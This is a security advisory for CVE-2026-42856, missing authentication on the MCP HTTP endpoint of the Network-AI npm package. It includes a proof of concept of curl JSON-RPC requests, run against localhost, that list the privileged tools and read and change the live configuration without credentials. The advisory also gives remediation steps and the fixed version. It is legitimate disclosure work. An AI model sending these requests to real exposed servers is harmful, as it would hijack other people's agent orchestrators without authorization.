Advisory

GHSA-fj4g-2p96-q6m3

Also known as: CVE-2026-42856

Summary

Network-AI missing authentication on MCP HTTP endpoint, which allows unauthenticated privileged tool calls

Details

Security Advisory: Missing Authentication for Critical Function in Jovancoding/Network-AI

| Field | Value |
|---|---|
| Project | Jovancoding/Network-AI |
| Repository | https://github.com/Jovancoding/Network-AI |
| Affected commit | c344f2053eb0d49395988f803bf92f2a86b2a0d0 |
| Affected tested version | 5.1.2 |
| Vulnerability type | CWE-306: Missing Authentication for Critical Function |
| Severity | High |
| Authentication required | None |
| Default network exposure | Bind address 0.0.0.0 |
| Reporter validation date | 2026-04-21 |

Summary

The MCP HTTP transport accepts JSON-RPC tools/call requests with no authentication, session, origin, or token check, and dispatches them directly to the orchestrator's tool registry. The default bind address is 0.0.0.0. As a result, any party with network reachability to the service can enumerate and invoke privileged management tools — including reading and mutating the live orchestrator configuration, listing registered agents, dispatching agents, creating/revoking security tokens, and adjusting global budget ceilings.

Affected Code

  • bin/mcp-server.ts:75 — server binds to 0.0.0.0 by default.
  • lib/mcp-transport-sse.ts:155 — handleRPC() dispatches tools/call directly to the provider's call(toolName, toolArgs).
  • lib/mcp-transport-sse.ts:379 — _handlePost() parses the JSON-RPC body and calls this._bridge.handleRPC(rpc) with no auth check.
  • lib/mcp-tools-control.ts:80 — config_get exposes live runtime configuration.
  • lib/mcp-tools-control.ts:197 — agent_list exposes registered agents.
  • lib/mcp-tools-control.ts:231 — config_set mutates runtime configuration in place: this._config[key] = parsed.

Proof of Concept

The PoC was executed against a local Docker build of the affected commit, bound to http://localhost:13001. No authentication header was sent. All inner-JSON excerpts below are decoded from the JSON-RPC result.content[0].text field for readability; the raw wire transcripts (which contain the literal escaped JSON-RPC envelope) are in evidence/.

Step 1 — list exposed tools (unauthenticated)

curl http://localhost:13001/tools

HTTP/1.1 200 OK — body returned 22 tools. Privileged tools observed in the inventory include:

  • config_get, config_set — read and mutate live orchestrator configuration
  • agent_list, agent_spawn, agent_stop — enumerate, dispatch, and stop agents
  • token_create, token_revoke — mint and revoke security tokens
  • budget_set_ceiling — adjust the global token budget ceiling
  • fsm_transition — drive finite-state-machine transitions
  • blackboard_write, blackboard_delete — mutate the shared blackboard

Full transcript: evidence/01_get_tools.txt.

Step 2 — read live configuration (unauthenticated)

curl http://localhost:13001/mcp \
  -H 'Content-Type: application/json' \
  -d '{"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"config_get","arguments":{}}}'

HTTP/1.1 200 OK — decoded inner JSON:

{
  "ok": true,
  "tool": "config_get",
  "data": {
    "blackboardPath": "./swarm-blackboard.md",
    "maxParallelAgents": null,
    "defaultTimeout": 30000,
    "enableTracing": true,
    "grantTokenTTL": 300000,
    "maxBlackboardValueSize": 1048576,
    "auditLogPath": "./data/audit_log.jsonl",
    "trustConfigPath": "./data/trust_levels.json"
  }
}

Full transcript: evidence/02_config_get_before.txt.

Step 3 — mutate live configuration (unauthenticated)

curl http://localhost:13001/mcp \
  -H 'Content-Type: application/json' \
  -d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"config_set","arguments":{"key":"defaultTimeout","value":"12345"}}}'

HTTP/1.1 200 OK — decoded inner JSON:

{
  "ok": true,
  "tool": "config_set",
  "data": {
    "key": "defaultTimeout",
    "previous": 30000,
    "current": 12345,
    "applied": true
  }
}

Full transcript: evidence/03_config_set.txt.

Step 4 — confirm mutation persisted (unauthenticated)

curl http://localhost:13001/mcp \
  -H 'Content-Type: application/json' \
  -d '{"jsonrpc":"2.0","id":3,"method":"tools/call","params":{"name":"config_get","arguments":{}}}'

HTTP/1.1 200 OK — decoded inner JSON (relevant key only):

{
  "ok": true,
  "tool": "config_get",
  "data": {
    "defaultTimeout": 12345
  }
}

This proves the runtime change applied by step 3 is observable on the next read. Full transcript: evidence/04_config_get_after.txt.

Step 5 — enumerate registered agents (unauthenticated)

curl http://localhost:13001/mcp \
  -H 'Content-Type: application/json' \
  -d '{"jsonrpc":"2.0","id":4,"method":"tools/call","params":{"name":"agent_list","arguments":{}}}'

HTTP/1.1 200 OK — decoded inner JSON:

{
  "ok": true,
  "tool": "agent_list",
  "data": {
    "agents": [],
    "count": 0
  }
}

This is a privileged management read; the empty array reflects the test environment, not a control. Full transcript: evidence/05_agent_list.txt.

Cleanup — runtime state restored

After the PoC, defaultTimeout was restored to 30000 via the same unauthenticated config_set (previous":12345,"current":30000,"applied":true). All testing was performed against a local Docker container only.

Impact

  • Unauthenticated network access enables full enumeration and invocation of the orchestrator's management functionality.
  • An attacker can change runtime configuration (e.g., defaultTimeout, enableTracing), dispatch or stop agents, mutate the shared blackboard, mint or revoke security tokens, and adjust global budget ceilings.
  • The default 0.0.0.0 bind, combined with the absence of any auth gate, increases the likelihood of accidental exposure on any host with a routable interface.

Suggested Remediation

  1. Enforce authentication inside _handlePost() before reaching handleRPC(). At a minimum, require a shared secret / bearer token loaded from configuration; reject any request that does not present it.
  2. Default the bind address to 127.0.0.1. Require an explicit configuration opt-in to bind to non-loopback interfaces, and warn on startup when binding outside loopback without an authentication mechanism configured.
  3. For tool-level defense in depth, gate state-mutating tools (config_set, agent_spawn, agent_stop, token_create, token_revoke, budget_set_ceiling, fsm_transition, blackboard_write, blackboard_delete) behind an explicit authorization check tied to a verified caller identity.

Verification Environment

  • Local Docker container only; no third-party deployment was tested.
  • Local build required a minimal Dockerfile fix; the application code path under test was not modified.
  • Runtime state (defaultTimeout) was restored to default after the PoC.

Attached Evidence

Files in evidence/ are raw curl -i transcripts captured during the verification sequence above. They are provided as supplementary backup; the key excerpts are already inlined in this report.

Severity

High Basis: The source's own band: HIGH

Dates

Published
2026-05-05 17:25 UTC
Modified
2026-05-13 14:34 UTC

Affected packages and fixes

network-ai

npm · All systems

Affected

  • introduced 0, fixed 5.1.3 (semver)

Fixed versions

5.1.3

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences